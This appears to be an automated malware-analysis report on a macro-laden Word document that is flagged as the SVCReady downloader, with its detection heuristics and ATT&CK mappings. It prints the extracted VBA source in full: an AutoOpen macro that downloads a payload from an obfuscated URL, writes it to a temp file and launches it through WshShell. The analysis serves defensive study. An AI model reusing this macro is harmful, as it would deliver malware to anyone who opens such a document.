MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a function that constructs a temporary file path 'C:\Windows\Temp\index.jpg' and writes obfuscated data to it. This file is then executed using a WshShell object, indicating a downloader or initial execution stage.
Heuristics 7
-
ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
-
External relationship high OOXML_EXTERNAL_RELExternal target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
- http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3877 bytes |
SHA-256: 99b0e78ac9fc257b318e9e81c76f983d76441316027447d35c664bad7484d6fe |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "b0626ccc"
Function a9f9a015()
a9f9a015 = ActiveWindow.Visible
End Function
Function f755eb6c()
f755eb6c = ActiveWindow.DisplayRulers
End Function
Function c1b7f9a3()
c1b7f9a3 = Application.ActiveDocument.AutoSaveOn
End Function
Sub AutoOpen()
Dim d38c5a07 As New bf84cf61
aaa = f8d91f76(fbf6b1d6)
fd6c1351 = d38c5a07.cad2efab(aaa, "")
cf2c376d cc7d725e, fd6c1351
Dim c1e25ad0 As New WshShell
Call c1e25ad0.exec(aa3ae016 & " " & cc7d725e)
End Sub
Attribute VB_Name = "cc5d3862"
Function d574dad2()
d574dad2 = Application.ActiveDocument.ActiveWindow
End Function
Function ed41efc4()
ed41efc4 = ActiveWindow.SplitVertical
End Function
Function f4b2ecea()
f4b2ecea = 0
End Function
Sub cf2c376d(f7393c89, cfc4e4be)
Dim c925d814
c925d814 = FreeFile
Open f7393c89 For Output As #c925d814
Print #c925d814, dd21ff06(cfc4e4be)
Close #c925d814
End Sub
Function cc7d725e()
cc7d725e = Environ("tmp") & "\index.jpg"
End Function
Function f0ce5a2b()
f0ce5a2b = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function ac63f666()
ac63f666 = ActiveWindow.Thumbnails
End Function
Function e7bddc9b()
e7bddc9b = Application.ActiveDocument.ChartDataPointTrack
End Function
Function f8d91f76(da373583)
For e0ab96b2 = 1 To Len(da373583) Step 3
ab30b94e = ab30b94e & Mid(da373583, e0ab96b2, 1)
Next
f8d91f76 = ab30b94e
End Function
Function f063f2c2()
f063f2c2 = ActiveWindow.DisplayLeftScrollBar
End Function
Function e76031db()
e76031db = ActiveWindow.Thumbnails
End Function
Function fabf0c23()
fabf0c23 = Application.ActiveDocument.ActiveTheme
End Function
Sub e74aa28f()
End Sub
Function fe539197()
fe539197 = ActiveWindow.StyleAreaWidth
End Function
Function c4954a53()
c4954a53 = ActiveWindow.DisplayRightRuler
End Function
Function ae0ef4e0()
ae0ef4e0 = ActiveWindow.Top
End Function
Function dd21ff06(cfc4e4be)
dd21ff06 = StrConv(cfc4e4be, 64)
End Function
Function f39508cd()
f39508cd = Application.ActiveDocument.CompatibilityMode
End Function
Function d910cb85()
d910cb85 = Application.ActiveDocument.ActiveTheme
End Function
Function a745a1dc()
a745a1dc = ActiveWindow.HorizontalPercentScrolled
End Function
Function fbf6b1d6()
fbf6b1d6 = ActiveDocument.Shapes(1).AlternativeText
End Function
Function dbe5c7f1()
dbe5c7f1 = ActiveWindow.Parent
End Function
Function a8d6529f()
a8d6529f = ActiveWindow.StyleAreaWidth
End Function
Function ae1efb2c()
ae1efb2c = 75
End Function
Function aa3ae016()
aa3ae016 = f8d91f76("r80e87g9dsf5v77r7a39829a")
End Function
Attribute VB_Name = "bf84cf61"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function d175817b()
d175817b = ActiveWindow.DisplayScreenTips
End Function
Function f7ae4367()
f7ae4367 = "Sedates exultantly"
End Function
Function aa9d93b0()
aa9d93b0 = Application.ActiveDocument.CompatibilityMode
End Function
Function cad2efab(a7a6ffa5, d1643d40)
Dim a17da8cd As Object
Set a17da8cd = New MSXML2.XMLHTTP60
Call a17da8cd.Open("GET", a7a6ffa5, False)
a17da8cd.Send
cad2efab = a17da8cd.responsebody
End Function
Function fab172f5()
fab172f5 = ActiveWindow.VerticalPercentScrolled
End Function
Function f78f19b8()
f78f19b8 = ActiveWindow.Type
End Function
Function c97725c7()
c97725c7 = ActiveWindow.Top
End Function
Function d3b0c26a(cf592fc1)
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 26112 bytes |
SHA-256: 2656329a042ea6d9854931a6f02e2b676dff010b3725f6ddc11195a69b564c87 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.